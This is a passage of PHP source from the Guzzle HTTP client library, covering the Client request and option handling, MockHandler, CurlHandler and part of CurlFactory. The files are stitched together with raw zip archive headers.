        if (\count($args) < 1) {
            throw new InvalidArgumentException('Magic request methods require a URI and optional options array');
        }

        $uri = $args[0];
        $opts = $args[1] ?? [];

        return \substr($method, -5) === 'Async'
            ? $this->requestAsync(\substr($method, 0, -5), $uri, $opts)
            : $this->request($method, $uri, $opts);
    }

    /**
     * Asynchronously send an HTTP request.
     *
     * @param array $options Request options to apply to the given
     *                       request and to the transfer. See \GuzzleHttp\RequestOptions.
     */
    public function sendAsync(RequestInterface $request, array $options = []): PromiseInterface
    {
        // Merge the base URI into the request URI if needed.
        $options = $this->prepareDefaults($options);

        return $this->transfer(
            $request->withUri($this->buildUri($request->getUri(), $options), $request->hasHeader('Host')),
            $options
        );
    }

    /**
     * Send an HTTP request.
     *
     * @param array $options Request options to apply to the given
     *                       request and to the transfer. See \GuzzleHttp\RequestOptions.
     *
     * @throws GuzzleException
     */
    public function send(RequestInterface $request, array $options = []): ResponseInterface
    {
        $options[RequestOptions::SYNCHRONOUS] = true;

        return $this->sendAsync($request, $options)->wait();
    }

    /**
     * The HttpClient PSR (PSR-18) specify this method.
     *
     * {@inheritDoc}
     */
    public function sendRequest(RequestInterface $request): ResponseInterface
    {
        $options[RequestOptions::SYNCHRONOUS] = true;
        $options[RequestOptions::ALLOW_REDIRECTS] = false;
        $options[RequestOptions::HTTP_ERRORS] = false;

        return $this->sendAsync($request, $options)->wait();
    }

    /**
     * Create and send an asynchronous HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string              $method  HTTP method
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply. See \GuzzleHttp\RequestOptions.
     */
    public function requestAsync(string $method, $uri = '', array $options = []): PromiseInterface
    {
        $options = $this->prepareDefaults($options);
        // Remove request modifying parameter because it can be done up-front.
        $headers = $options['headers'] ?? [];
        $body = $options['body'] ?? null;
        $version = $options['version'] ?? '1.1';
        // Merge the URI into the base URI.
        $uri = $this->buildUri(Psr7\Utils::uriFor($uri), $options);
        if (\is_array($body)) {
            throw $this->invalidBody();
        }
        $request = new Psr7\Request($method, $uri, $headers, $body, $version);
        // Remove the option so that they are not doubly-applied.
        unset($options['headers'], $options['body'], $options['version']);

        return $this->transfer($request, $options);
    }

    /**
     * Create and send an HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string              $method  HTTP method.
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply. See \GuzzleHttp\RequestOptions.
     *
     * @throws GuzzleException
     */
    public function request(string $method, $uri = '', array $options = []): ResponseInterface
    {
        $options[RequestOptions::SYNCHRONOUS] = true;

        return $this->requestAsync($method, $uri, $options)->wait();
    }

    /**
     * Get a client configuration option.
     *
     * These options include default request options of the client, a "handler"
     * (if utilized by the concrete client), and a "base_uri" if utilized by
     * the concrete client.
     *
     * @param string|null $option The config option to retrieve.
     *
     * @return mixed
     *
     * @deprecated Client::getConfig will be removed in guzzlehttp/guzzle:8.0.
     */
    public function getConfig(string $option = null)
    {
        return $option === null
            ? $this->config
            : ($this->config[$option] ?? null);
    }

    private function buildUri(UriInterface $uri, array $config): UriInterface
    {
        if (isset($config['base_uri'])) {
            $uri = Psr7\UriResolver::resolve(Psr7\Utils::uriFor($config['base_uri']), $uri);
        }

        if (isset($config['idn_conversion']) && ($config['idn_conversion'] !== false)) {
            $idnOptions = ($config['idn_conversion'] === true) ? \IDNA_DEFAULT : $config['idn_conversion'];
            $uri = Utils::idnUriConvert($uri, $idnOptions);
        }

        return $uri->getScheme() === '' && $uri->getHost() !== '' ? $uri->withScheme('http') : $uri;
    }

    /**
     * Configures the default options for a client.
     */
    private function configureDefaults(array $config): void
    {
        $defaults = [
            'allow_redirects' => RedirectMiddleware::$defaultSettings,
            'http_errors' => true,
            'decode_content' => true,
            'verify' => true,
            'cookies' => false,
            'idn_conversion' => false,
        ];

        // Use the standard Linux HTTP_PROXY and HTTPS_PROXY if set.

        // We can only trust the HTTP_PROXY environment variable in a CLI
        // process due to the fact that PHP has no reliable mechanism to
        // get environment variables that start with "HTTP_".
        if (\PHP_SAPI === 'cli' && ($proxy = Utils::getenv('HTTP_PROXY'))) {
            $defaults['proxy']['http'] = $proxy;
        }

        if ($proxy = Utils::getenv('HTTPS_PROXY')) {
            $defaults['proxy']['https'] = $proxy;
        }

        if ($noProxy = Utils::getenv('NO_PROXY')) {
            $cleanedNoProxy = \str_replace(' ', '', $noProxy);
            $defaults['proxy']['no'] = \explode(',', $cleanedNoProxy);
        }

        $this->config = $config + $defaults;

        if (!empty($config['cookies']) && $config['cookies'] === true) {
            $this->config['cookies'] = new CookieJar();
        }

        // Add the default user-agent header.
        if (!isset($this->config['headers'])) {
            $this->config['headers'] = ['User-Agent' => Utils::defaultUserAgent()];
        } else {
            // Add the User-Agent header if one was not already set.
            foreach (\array_keys($this->config['headers']) as $name) {
                if (\strtolower($name) === 'user-agent') {
                    return;
                }
            }
            $this->config['headers']['User-Agent'] = Utils::defaultUserAgent();
        }
    }

    /**
     * Merges default options into the array.
     *
     * @param array $options Options to modify by reference
     */
    private function prepareDefaults(array $options): array
    {
        $defaults = $this->config;

        if (!empty($defaults['headers'])) {
            // Default headers are only added if they are not present.
            $defaults['_conditional'] = $defaults['headers'];
            unset($defaults['headers']);
        }

        // Special handling for headers is required as they are added as
        // conditional headers and as headers passed to a request ctor.
        if (\array_key_exists('headers', $options)) {
            // Allows default headers to be unset.
            if ($options['headers'] === null) {
                $defaults['_conditional'] = [];
                unset($options['headers']);
            } elseif (!\is_array($options['headers'])) {
                throw new InvalidArgumentException('headers must be an array');
            }
        }

        // Shallow merge defaults underneath options.
        $result = $options + $defaults;

        // Remove null values.
        foreach ($result as $k => $v) {
            if ($v === null) {
                unset($result[$k]);
            }
        }

        return $result;
    }

    /**
     * Transfers the given request and applies request options.
     *
     * The URI of the request is not modified and the request options are used
     * as-is without merging in default options.
     *
     * @param array $options See \GuzzleHttp\RequestOptions.
     */
    private function transfer(RequestInterface $request, array $options): PromiseInterface
    {
        $request = $this->applyOptions($request, $options);
        /** @var HandlerStack $handler */
        $handler = $options['handler'];

        try {
            return P\Create::promiseFor($handler($request, $options));
        } catch (\Exception $e) {
            return P\Create::rejectionFor($e);
        }
    }

    /**
     * Applies the array of request options to a request.
     */
    private function applyOptions(RequestInterface $request, array &$options): RequestInterface
    {
        $modify = [
            'set_headers' => [],
        ];

        if (isset($options['headers'])) {
            if (array_keys($options['headers']) === range(0, count($options['headers']) - 1)) {
                throw new InvalidArgumentException('The headers array must have header name as keys.');
            }
            $modify['set_headers'] = $options['headers'];
            unset($options['headers']);
        }

        if (isset($options['form_params'])) {
            if (isset($options['multipart'])) {
                throw new InvalidArgumentException('You cannot use '
                    .'form_params and multipart at the same time. Use the '
                    .'form_params option if you want to send application/'
                    .'x-www-form-urlencoded requests, and the multipart '
                    .'option to send multipart/form-data requests.');
            }
            $options['body'] = \http_build_query($options['form_params'], '', '&');
            unset($options['form_params']);
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']);
            $options['_conditional']['Content-Type'] = 'application/x-www-form-urlencoded';
        }

        if (isset($options['multipart'])) {
            $options['body'] = new Psr7\MultipartStream($options['multipart']);
            unset($options['multipart']);
        }

        if (isset($options['json'])) {
            $options['body'] = Utils::jsonEncode($options['json']);
            unset($options['json']);
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']);
            $options['_conditional']['Content-Type'] = 'application/json';
        }

        if (!empty($options['decode_content'])
            && $options['decode_content'] !== true
        ) {
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = Psr7\Utils::caselessRemove(['Accept-Encoding'], $options['_conditional']);
            $modify['set_headers']['Accept-Encoding'] = $options['decode_content'];
        }

        if (isset($options['body'])) {
            if (\is_array($options['body'])) {
                throw $this->invalidBody();
            }
            $modify['body'] = Psr7\Utils::streamFor($options['body']);
            unset($options['body']);
        }

        if (!empty($options['auth']) && \is_array($options['auth'])) {
            $value = $options['auth'];
            $type = isset($value[2]) ? \strtolower($value[2]) : 'basic';
            switch ($type) {
                case 'basic':
                    // Ensure that we don't have the header in different case and set the new value.
                    $modify['set_headers'] = Psr7\Utils::caselessRemove(['Authorization'], $modify['set_headers']);
                    $modify['set_headers']['Authorization'] = 'Basic '
                        .\base64_encode("$value[0]:$value[1]");
                    break;
                case 'digest':
                    // @todo: Do not rely on curl
                    $options['curl'][\CURLOPT_HTTPAUTH] = \CURLAUTH_DIGEST;
                    $options['curl'][\CURLOPT_USERPWD] = "$value[0]:$value[1]";
                    break;
                case 'ntlm':
                    $options['curl'][\CURLOPT_HTTPAUTH] = \CURLAUTH_NTLM;
                    $options['curl'][\CURLOPT_USERPWD] = "$value[0]:$value[1]";
                    break;
            }
        }

        if (isset($options['query'])) {
            $value = $options['query'];
            if (\is_array($value)) {
                $value = \http_build_query($value, '', '&', \PHP_QUERY_RFC3986);
            }
            if (!\is_string($value)) {
                throw new InvalidArgumentException('query must be a string or array');
            }
            $modify['query'] = $value;
            unset($options['query']);
        }

        // Ensure that sink is not an invalid value.
        if (isset($options['sink'])) {
            // TODO: Add more sink validation?
            if (\is_bool($options['sink'])) {
                throw new InvalidArgumentException('sink must not be a boolean');
            }
        }

        if (isset($options['version'])) {
            $modify['version'] = $options['version'];
        }

        $request = Psr7\Utils::modifyRequest($request, $modify);
        if ($request->getBody() instanceof Psr7\MultipartStream) {
            // Use a multipart/form-data POST if a Content-Type is not set.
            // Ensure that we don't have the header in different case and set the new value.
            $options['_conditional'] = Psr7\Utils::caselessRemove(['Content-Type'], $options['_conditional']);
            $options['_conditional']['Content-Type'] = 'multipart/form-data; boundary='
                .$request->getBody()->getBoundary();
        }

        // Merge in conditional headers if they are not present.
        if (isset($options['_conditional'])) {
            // Build up the changes so it's in a single clone of the message.
            $modify = [];
            foreach ($options['_conditional'] as $k => $v) {
                if (!$request->hasHeader($k)) {
                    $modify['set_headers'][$k] = $v;
                }
            }
            $request = Psr7\Utils::modifyRequest($request, $modify);
            // Don't pass this internal value along to middleware/handlers.
            unset($options['_conditional']);
        }

        return $request;
    }

    /**
     * Return an InvalidArgumentException with pre-set message.
     */
    private function invalidBody(): InvalidArgumentException
    {
        return new InvalidArgumentException('Passing in the "body" request '
            .'option as an array to send a request is not supported. '
            .'Please use the "form_params" request option to send a '
            .'application/x-www-form-urlencoded request, or the "multipart" '
            .'request option to send a multipart/form-data request.');
    }
}
PK
h�\��P��=vendor/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use Psr\Http\Message\RequestInterface;

interface CurlFactoryInterface
{
    /**
     * Creates a cURL handle resource.
     *
     * @param RequestInterface $request Request
     * @param array            $options Transfer options
     *
     * @throws \RuntimeException when an option cannot be applied
     */
    public function create(RequestInterface $request, array $options): EasyHandle;

    /**
     * Release an easy handle, allowing it to be reused or closed.
     *
     * This function must call unset on the easy handle's "handle" property.
     */
    public function release(EasyHandle $easy): void;
}
PK
h�\��af

4vendor/guzzlehttp/guzzle/src/Handler/MockHandler.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Exception\RequestException;
use GuzzleHttp\HandlerStack;
use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\TransferStats;
use GuzzleHttp\Utils;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;

/**
 * Handler that returns responses or throw exceptions from a queue.
 *
 * @final
 */
class MockHandler implements \Countable
{
    /**
     * @var array
     */
    private $queue = [];

    /**
     * @var RequestInterface|null
     */
    private $lastRequest;

    /**
     * @var array
     */
    private $lastOptions = [];

    /**
     * @var callable|null
     */
    private $onFulfilled;

    /**
     * @var callable|null
     */
    private $onRejected;

    /**
     * Creates a new MockHandler that uses the default handler stack list of
     * middlewares.
     *
     * @param array|null    $queue       Array of responses, callables, or exceptions.
     * @param callable|null $onFulfilled Callback to invoke when the return value is fulfilled.
     * @param callable|null $onRejected  Callback to invoke when the return value is rejected.
     */
    public static function createWithMiddleware(array $queue = null, callable $onFulfilled = null, callable $onRejected = null): HandlerStack
    {
        return HandlerStack::create(new self($queue, $onFulfilled, $onRejected));
    }

    /**
     * The passed in value must be an array of
     * {@see \Psr\Http\Message\ResponseInterface} objects, Exceptions,
     * callables, or Promises.
     *
     * @param array<int, mixed>|null $queue       The parameters to be passed to the append function, as an indexed array.
     * @param callable|null          $onFulfilled Callback to invoke when the return value is fulfilled.
     * @param callable|null          $onRejected  Callback to invoke when the return value is rejected.
     */
    public function __construct(array $queue = null, callable $onFulfilled = null, callable $onRejected = null)
    {
        $this->onFulfilled = $onFulfilled;
        $this->onRejected = $onRejected;

        if ($queue) {
            // array_values included for BC
            $this->append(...array_values($queue));
        }
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        if (!$this->queue) {
            throw new \OutOfBoundsException('Mock queue is empty');
        }

        if (isset($options['delay']) && \is_numeric($options['delay'])) {
            \usleep((int) $options['delay'] * 1000);
        }

        $this->lastRequest = $request;
        $this->lastOptions = $options;
        $response = \array_shift($this->queue);

        if (isset($options['on_headers'])) {
            if (!\is_callable($options['on_headers'])) {
                throw new \InvalidArgumentException('on_headers must be callable');
            }
            try {
                $options['on_headers']($response);
            } catch (\Exception $e) {
                $msg = 'An error was encountered during the on_headers event';
                $response = new RequestException($msg, $request, $response, $e);
            }
        }

        if (\is_callable($response)) {
            $response = $response($request, $options);
        }

        $response = $response instanceof \Throwable
            ? P\Create::rejectionFor($response)
            : P\Create::promiseFor($response);

        return $response->then(
            function (?ResponseInterface $value) use ($request, $options) {
                $this->invokeStats($request, $options, $value);
                if ($this->onFulfilled) {
                    ($this->onFulfilled)($value);
                }

                if ($value !== null && isset($options['sink'])) {
                    $contents = (string) $value->getBody();
                    $sink = $options['sink'];

                    if (\is_resource($sink)) {
                        \fwrite($sink, $contents);
                    } elseif (\is_string($sink)) {
                        \file_put_contents($sink, $contents);
                    } elseif ($sink instanceof StreamInterface) {
                        $sink->write($contents);
                    }
                }

                return $value;
            },
            function ($reason) use ($request, $options) {
                $this->invokeStats($request, $options, null, $reason);
                if ($this->onRejected) {
                    ($this->onRejected)($reason);
                }

                return P\Create::rejectionFor($reason);
            }
        );
    }

    /**
     * Adds one or more variadic requests, exceptions, callables, or promises
     * to the queue.
     *
     * @param mixed ...$values
     */
    public function append(...$values): void
    {
        foreach ($values as $value) {
            if ($value instanceof ResponseInterface
                || $value instanceof \Throwable
                || $value instanceof PromiseInterface
                || \is_callable($value)
            ) {
                $this->queue[] = $value;
            } else {
                throw new \TypeError('Expected a Response, Promise, Throwable or callable. Found '.Utils::describeType($value));
            }
        }
    }

    /**
     * Get the last received request.
     */
    public function getLastRequest(): ?RequestInterface
    {
        return $this->lastRequest;
    }

    /**
     * Get the last received request options.
     */
    public function getLastOptions(): array
    {
        return $this->lastOptions;
    }

    /**
     * Returns the number of remaining items in the queue.
     */
    public function count(): int
    {
        return \count($this->queue);
    }

    public function reset(): void
    {
        $this->queue = [];
    }

    /**
     * @param mixed $reason Promise or reason.
     */
    private function invokeStats(
        RequestInterface $request,
        array $options,
        ResponseInterface $response = null,
        $reason = null
    ): void {
        if (isset($options['on_stats'])) {
            $transferTime = $options['transfer_time'] ?? 0;
            $stats = new TransferStats($request, $response, $transferTime, $reason);
            ($options['on_stats'])($stats);
        }
    }
}
PK
h�\�I]224vendor/guzzlehttp/guzzle/src/Handler/CurlHandler.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;

/**
 * HTTP handler that uses cURL easy handles as a transport layer.
 *
 * When using the CurlHandler, custom curl options can be specified as an
 * associative array of curl option constants mapping to values in the
 * **curl** key of the "client" key of the request.
 *
 * @final
 */
class CurlHandler
{
    /**
     * @var CurlFactoryInterface
     */
    private $factory;

    /**
     * Accepts an associative array of options:
     *
     * - handle_factory: Optional curl factory used to create cURL handles.
     *
     * @param array{handle_factory?: ?CurlFactoryInterface} $options Array of options to use with the handler
     */
    public function __construct(array $options = [])
    {
        $this->factory = $options['handle_factory']
            ?? new CurlFactory(3);
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        if (isset($options['delay'])) {
            \usleep($options['delay'] * 1000);
        }

        $easy = $this->factory->create($request, $options);
        \curl_exec($easy->handle);
        $easy->errno = \curl_errno($easy->handle);

        return CurlFactory::finish($this, $easy, $this->factory);
    }
}
PK
h�\�ju$�`�`4vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Exception\ConnectException;
use GuzzleHttp\Exception\RequestException;
use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\FulfilledPromise;
use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\Psr7\LazyOpenStream;
use GuzzleHttp\TransferStats;
use GuzzleHttp\Utils;
use Psr\Http\Message\RequestInterface;

/**
 * Creates curl resources from a request
 *
 * @final
 */
class CurlFactory implements CurlFactoryInterface
{
    public const CURL_VERSION_STR = 'curl_version';

    /**
     * @deprecated
     */
    public const LOW_CURL_VERSION_NUMBER = '7.21.2';

    /**
     * @var resource[]|\CurlHandle[]
     */
    private $handles = [];

    /**
     * @var int Total number of idle handles to keep in cache
     */
    private $maxHandles;

    /**
     * @param int $maxHandles Maximum number of idle handles.
     */
    public function __construct(int $maxHandles)
    {
        $this->maxHandles = $maxHandles;
    }

    public function create(RequestInterface $request, array $options): EasyHandle
    {
        if (isset($options['curl']['body_as_string'])) {
            $options['_body_as_string'] = $options['curl']['body_as_string'];
            unset($options['curl']['body_as_string']);
        }

        $easy = new EasyHandle();
        $easy->request = $request;
        $easy->options = $options;
        $conf = $this->getDefaultConf($easy);
        $this->applyMethod($easy, $conf);
        $this->applyHandlerOptions($easy, $conf);
        $this->applyHeaders($easy, $conf);
        unset($conf['_headers']);

        // Add handler options from the request configuration options
        if (isset($options['curl'])) {
            $conf = \array_replace($conf, $options['curl']);
        }

        $conf[\CURLOPT_HEADERFUNCTION] = $this->createHeaderFn($easy);
        $easy->handle = $this->handles ? \array_pop($this->handles) : \curl_init();
        curl_setopt_array($easy->handle, $conf);

        return $easy;
    }

    public function release(EasyHandle $easy): void
    {
        $resource = $easy->handle;
        unset($easy->handle);

        if (\count($this->handles) >= $this->maxHandles) {
            \curl_close($resource);
        } else {
            // Remove all callback functions as they can hold onto references
            // and are not cleaned up by curl_reset. Using curl_setopt_array
            // does not work for some reason, so removing each one
            // individually.
            \curl_setopt($resource, \CURLOPT_HEADERFUNCTION, null);
            \curl_setopt($resource, \CURLOPT_READFUNCTION, null);
            \curl_setopt($resource, \CURLOPT_WRITEFUNCTION, null);
            \curl_setopt($resource, \CURLOPT_PROGRESSFUNCTION, null);
            \curl_reset($resource);
            $this->handles[] = $resource;
        }
    }

    /**
     * Completes a cURL transaction, either returning a response promise or a
     * rejected promise.
     *
     * @param callable(RequestInterface, array): PromiseInterface $handler
     * @param CurlFactoryInterface                                $factory Dictates how the handle is released
     */
    public static function finish(callable $handler, EasyHandle $easy, CurlFactoryInterface $factory): PromiseInterface
    {
        if (isset($easy->options['on_stats'])) {
            self::invokeStats($easy);
        }

        if (!$easy->response || $easy->errno) {
            return self::finishError($handler, $easy, $factory);
        }

        // Return the response if it is present and there is no error.
        $factory->release($easy);

        // Rewind the body of the response if possible.
        $body = $easy->response->getBody();
        if ($body->isSeekable()) {
            $body->rewind();
        }

        return new FulfilledPromise($easy->response);
    }

    private static function invokeStats(EasyHandle $easy): void
    {
        $curlStats = \curl_getinfo($easy->handle);
        $curlStats['appconnect_time'] = \curl_getinfo($easy->handle, \CURLINFO_APPCONNECT_TIME);
        $stats = new TransferStats(
            $easy->request,
            $easy->response,
            $curlStats['total_time'],
            $easy->errno,
            $curlStats
        );
        ($easy->options['on_stats'])($stats);
    }

    /**
     * @param callable(RequestInterface, array): PromiseInterface $handler
     */
    private static function finishError(callable $handler, EasyHandle $easy, CurlFactoryInterface $factory): PromiseInterface
    {
        // Get error information and release the handle to the factory.
        $ctx = [
            'errno' => $easy->errno,
            'error' => \curl_error($easy->handle),
            'appconnect_time' => \curl_getinfo($easy->handle, \CURLINFO_APPCONNECT_TIME),
        ] + \curl_getinfo($easy->handle);
        $ctx[self::CURL_VERSION_STR] = \curl_version()['version'];
        $factory->release($easy);

        // Retry when nothing is present or when curl failed to rewind.
        if (empty($easy->options['_err_message']) && (!$easy->errno || $easy->errno == 65)) {
            return self::retryFailedRewind($handler, $easy, $ctx);
        }

        return self::createRejection($easy, $ctx);
    }

    private static function createRejection(EasyHandle $easy, array $ctx): PromiseInterface
    {
        static $connectionErrors = [
            \CURLE_OPERATION_TIMEOUTED => true,
            \CURLE_COULDNT_RESOLVE_HOST => true,
            \CURLE_COULDNT_CONNECT => true,
            \CURLE_SSL_CONNECT_ERROR => true,
            \CURLE_GOT_NOTHING => true,
        ];

        if ($easy->createResponseException) {
            return P\Create::rejectionFor(
                new RequestException(
                    'An error was encountered while creating the response',
                    $easy->request,
                    $easy->response,
                    $easy->createResponseException,
                    $ctx
                )
            );
        }

        // If an exception was encountered during the onHeaders event, then
        // return a rejected promise that wraps that exception.
        if ($easy->onHeadersException) {
            return P\Create::rejectionFor(
                new RequestException(
                    'An error was encountered during the on_headers event',
                    $easy->request,
                    $easy->response,
                    $easy->onHeadersException,
                    $ctx
                )
            );
        }

        $message = \sprintf(
            'cURL error %s: %s (%s)',
            $ctx['errno'],
            $ctx['error'],
            'see https://curl.haxx.se/libcurl/c/libcurl-errors.html'
        );
        $uriString = (string) $easy->request->getUri();
        if ($uriString !== '' && false === \strpos($ctx['error'], $uriString)) {
            $message .= \sprintf(' for %s', $uriString);
        }

        // Create a connection exception if it was a specific error code.
        $error = isset($connectionErrors[$easy->errno])
            ? new ConnectException($message, $easy->request, null, $ctx)
            : new RequestException($message, $easy->request, $easy->response, null, $ctx);

        return P\Create::rejectionFor($error);
    }

    /**
     * @return array<int|string, mixed>
     */
    private function getDefaultConf(EasyHandle $easy): array
    {
        $conf = [
            '_headers' => $easy->request->getHeaders(),
            \CURLOPT_CUSTOMREQUEST => $easy->request->getMethod(),
            \CURLOPT_URL => (string) $easy->request->getUri()->withFragment(''),
            \CURLOPT_RETURNTRANSFER => false,
            \CURLOPT_HEADER => false,
            \CURLOPT_CONNECTTIMEOUT => 300,
        ];

        if (\defined('CURLOPT_PROTOCOLS')) {
            $conf[\CURLOPT_PROTOCOLS] = \CURLPROTO_HTTP | \CURLPROTO_HTTPS;
        }

        $version = $easy->request->getProtocolVersion();
        if ($version == 1.1) {
            $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_1_1;
        } elseif ($version == 2.0) {
            $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_2_0;
        } else {
            $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_1_0;
        }

        return $conf;
    }

    private function applyMethod(EasyHandle $easy, array &$conf): void
    {
        $body = $easy->request->getBody();
        $size = $body->getSize();

        if ($size === null || $size > 0) {
            $this->applyBody($easy->request, $easy->options, $conf);

            return;
        }

        $method = $easy->request->getMethod();
        if ($method === 'PUT' || $method === 'POST') {
            // See https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.2
            if (!$easy->request->hasHeader('Content-Length')) {
                $conf[\CURLOPT_HTTPHEADER][] = 'Content-Length: 0';
            }
        } elseif ($method === 'HEAD') {
            $conf[\CURLOPT_NOBODY] = true;
            unset(
                $conf[\CURLOPT_WRITEFUNCTION],
                $conf[\CURLOPT_READFUNCTION],
                $conf[\CURLOPT_FILE],
                $conf[\CURLOPT_INFILE]
            );
        }
    }

    private function applyBody(RequestInterface $request, array $options, array &$conf): void
    {
        $size = $request->hasHeader('Content-Length')
            ? (int) $request->getHeaderLine('Content-Length')
            : null;

        // Send the body as a string if the size is less than 1MB OR if the
        // [curl][body_as_string] request value is set.
        if (($size !== null && $size < 1000000) || !empty($options['_body_as_string'])) {
            $conf[\CURLOPT_POSTFIELDS] = (string) $request->getBody();
            // Don't duplicate the Content-Length header
            $this->removeHeader('Content-Length', $conf);
            $this->removeHeader('Transfer-Encoding', $conf);
        } else {
            $conf[\CURLOPT_UPLOAD] = true;
            if ($size !== null) {
                $conf[\CURLOPT_INFILESIZE] = $size;
                $this->removeHeader('Content-Length', $conf);
            }
            $body = $request->getBody();
            if ($body->isSeekable()) {
                $body->rewind();
            }
            $conf[\CURLOPT_READFUNCTION] = static function ($ch, $fd, $length) use ($body) {
                return $body->read($length);
            };
        }

        // If the Expect header is not present, prevent curl from adding it
        if (!$request->hasHeader('Expect')) {
            $conf[\CURLOPT_HTTPHEADER][] = 'Expect:';
        }

        // cURL sometimes adds a content-type by default. Prevent this.
        if (!$request->hasHeader('Content-Type')) {
            $conf[\CURLOPT_HTTPHEADER][] = 'Content-Type:';
        }
    }

    private function applyHeaders(EasyHandle $easy, array &$conf): void
    {
        foreach ($conf['_headers'] as $name => $values) {
            foreach ($values as $value) {
                $value = (string) $value;
                if ($value === '') {
                    // cURL requires a special format for empty headers.
                    // See https://github.com/guzzle/guzzle/issues/1882 for more details.
                    $conf[\CURLOPT_HTTPHEADER][] = "$name;";
                } else {
                    $conf[\CURLOPT_HTTPHEADER][] = "$name: $value";
                }
            }
        }

        // Remove the Accept header if one was not set
        if (!$easy->request->hasHeader('Accept')) {
            $conf[\CURLOPT_HTTPHEADER][] = 'Accept:';
        }
    }

    /**
     * Remove a header from the options array.
     *
     * @param string $name    Case-insensitive header to remove
     * @param array  $options Array of options to modify
     */
    private function removeHeader(string $name, array &$options): void
    {
        foreach (\array_keys($options['_headers']) as $key) {
            if (!\strcasecmp($key, $name)) {
                unset($options['_headers'][$key]);

                return;
            }
        }
    }

    private function applyHandlerOptions(EasyHandle $easy, array &$conf): void
    {
        $options = $easy->options;
        if (isset($options['verify'])) {
            if ($options['verify'] === false) {
                unset($conf[\CURLOPT_CAINFO]);
                $conf[\CURLOPT_SSL_VERIFYHOST] = 0;
                $conf[\CURLOPT_SSL_VERIFYPEER] = false;
            } else {
                $conf[\CURLOPT_SSL_VERIFYHOST] = 2;
                $conf[\CURLOPT_SSL_VERIFYPEER] = true;
                if (\is_string($options['verify'])) {
                    // Throw an error if the file/folder/link path is not valid or doesn't exist.
                    if (!\file_exists($options['verify'])) {
                        throw new \InvalidArgumentException("SSL CA bundle not found: {$options['verify']}");
                    }
                    // If it's a directory or a link to a directory use CURLOPT_CAPATH.
                    // If not, it's probably a file, or a link to a file, so use CURLOPT_CAINFO.
                    if (
                        \is_dir($options['verify'])
                        || (
                            \is_link($options['verify']) === true
                            && ($verifyLink = \readlink($options['verify'])) !== false
                            && \is_dir($verifyLink)
                        )
                    ) {
                        $conf[\CURLOPT_CAPATH] = $options['verify'];
                    } else {
                        $conf[\CURLOPT_CAINFO] = $options['verify'];
                    }
                }
            }
        }

        if (!isset($options['curl'][\CURLOPT_ENCODING]) && !empty($options['decode_content'])) {
            $accept = $easy->request->getHeaderLine('Accept-Encoding');
            if ($accept) {
                $conf[\CURLOPT_ENCODING] = $accept;
            } else {
                // The empty string enables all available decoders and implicitly
                // sets a matching 'Accept-Encoding' header.
                $conf[\CURLOPT_ENCODING] = '';
                // But as the user did not specify any acceptable encodings we need
                // to overwrite this implicit header with an empty one.
                $conf[\CURLOPT_HTTPHEADER][] = 'Accept-Encoding:';
            }
        }

        if (!isset($options['sink'])) {
            // Use a default temp stream if no sink was set.
            $options['sink'] = \GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'w+');
        }
        $sink = $options['sink'];
        if (!\is_string($sink)) {
            $sink = \GuzzleHttp\Psr7\Utils::streamFor($sink);
        } elseif (!\is_dir(\dirname($sink))) {
            // Ensure that the directory exists before failing in curl.
            throw new \RuntimeException(\sprintf('Directory %s does not exist for sink value of %s', \dirname($sink), $sink));
        } else {
            $sink = new LazyOpenStream($sink, 'w+');
        }
        $easy->sink = $sink;
        $conf[\CURLOPT_WRITEFUNCTION] = static function ($ch, $write) use ($sink): int {
            return $sink->write($write);
        };

        $timeoutRequiresNoSignal = false;
        if (isset($options['timeout'])) {
            $timeoutRequiresNoSignal |= $options['timeout'] < 1;
            $conf[\CURLOPT_TIMEOUT_MS] = $options['timeout'] * 1000;
        }

        // CURL default value is CURL_IPRESOLVE_WHATEVER
        if (isset($options['force_ip_resolve'])) {
            if ('v4' === $options['force_ip_resolve']) {
                $conf[\CURLOPT_IPRESOLVE] = \CURL_IPRESOLVE_V4;
            } elseif ('v6' === $options['force_ip_resolve']) {
                $conf[\CURLOPT_IPRESOLVE] = \CURL_IPRESOLVE_V6;
            }
        }

        if (isset($options['connect_timeout'])) {
            $timeoutRequiresNoSignal |= $options['connect_timeout'] < 1;
            $conf[\CURLOPT_CONNECTTIMEOUT_MS] = $options['connect_timeout'] * 1000;
        }

        if ($timeoutRequiresNoSignal && \strtoupper(\substr(\PHP_OS, 0, 3)) !== 'WIN') {
            $conf[\CURLOPT_NOSIGNAL] = true;
        }

        if (isset($options['proxy'])) {
            if (!\is_array($options['proxy'])) {
                $conf[\CURLOPT_PROXY] = $options['proxy'];
            } else {
                $scheme = $easy->request->getUri()->getScheme();
                if (isset($options['proxy'][$scheme])) {
                    $host = $easy->request->getUri()->getHost();
